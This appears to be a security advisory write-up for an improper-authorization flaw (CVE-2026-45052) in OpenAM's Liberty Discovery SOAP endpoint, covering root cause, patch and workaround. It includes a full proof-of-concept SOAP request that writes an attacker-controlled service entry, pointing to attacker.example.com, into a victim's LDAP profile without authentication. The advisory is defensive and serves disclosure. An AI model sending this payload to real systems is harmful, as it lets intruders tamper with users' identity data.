CVE-2026-45052: OpenAM Liberty Discovery SOAP Improper Authorization
An unauthenticated attacker can send a raw SOAP request to OpenAM's Liberty Web Services endpoint and permanently write records into any user's LDAP identity profile, because the server performs those
The problem
OpenAM's Liberty ID-WSF SOAP receiver at `/openam/liberty/soap` processes Discovery Service write operations (Modify, Insert) without verifying the identity of the caller. Any request, authenticated or not, is accepted and acted upon.
The handlers then perform the actual LDAP writes server-side using the internal admin token, so the attacker's request inherits elevated privileges it was never granted. The result is persistent data written into any targeted user's LDAP entry or into the shared root-realm Discovery branch.
Proof of concept
POST /openam/liberty/soap HTTP/1.1
Host: target.example.com
Content-Type: text/xml; charset=utf-8
SOAPAction: "urn:liberty:disco:2003-08"
<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:disco="urn:liberty:disco:2003-08"
xmlns:sb="urn:liberty:sb:2003-08">
<soapenv:Header/>
<soapenv:Body>
<disco:Modify>
<disco:InsertEntry>
<disco:ResourceOffering>
<disco:ResourceID>victim-user-uid</disco:ResourceID>
<disco:ServiceInstance>
<disco:ServiceType>urn:attacker:injected:service</disco:ServiceType>
<disco:ProviderID>https://attacker.example.com/idp</disco:ProviderID>
<disco:Description>
<disco:SecurityMechID>urn:liberty:security:2003-08:null:null</disco:SecurityMechID>
<disco:Endpoint>https://attacker.example.com/svc</disco:Endpoint>
</disco:Description>
</disco:ServiceInstance>
</disco:ResourceOffering>
</disco:InsertEntry>
</disco:Modify>
</soapenv:Body>
</soapenv:Envelope>The root cause is a missing authentication gate in the Liberty SOAP receiver's dispatch path. The handler does not validate that the incoming request carries a valid session or credential before routing to the Discovery modify logic.
Because the global Discovery code path was written to use the internal admin token for its LDAP writes (to allow server-side federation bookkeeping), an anonymous caller effectively borrows that token. The patch in 16.1.1 adds an authentication check before the Discovery handlers are invoked, so unauthenticated requests are rejected before any write is attempted.
No public PoC was released; the payload above is derived from the Liberty ID-WSF Discovery Service specification and the advisory's description of the vulnerable write path.
The fix
Upgrade to OpenAM Community Edition 16.1.1 or later. As a network-level workaround, block or restrict access to `/openam/liberty/soap` at the perimeter for any deployment that does not actively use Liberty ID-WSF. Liberty is a legacy protocol superseded by SAML 2.0, OAuth, and OIDC, so the endpoint can typically be disabled entirely.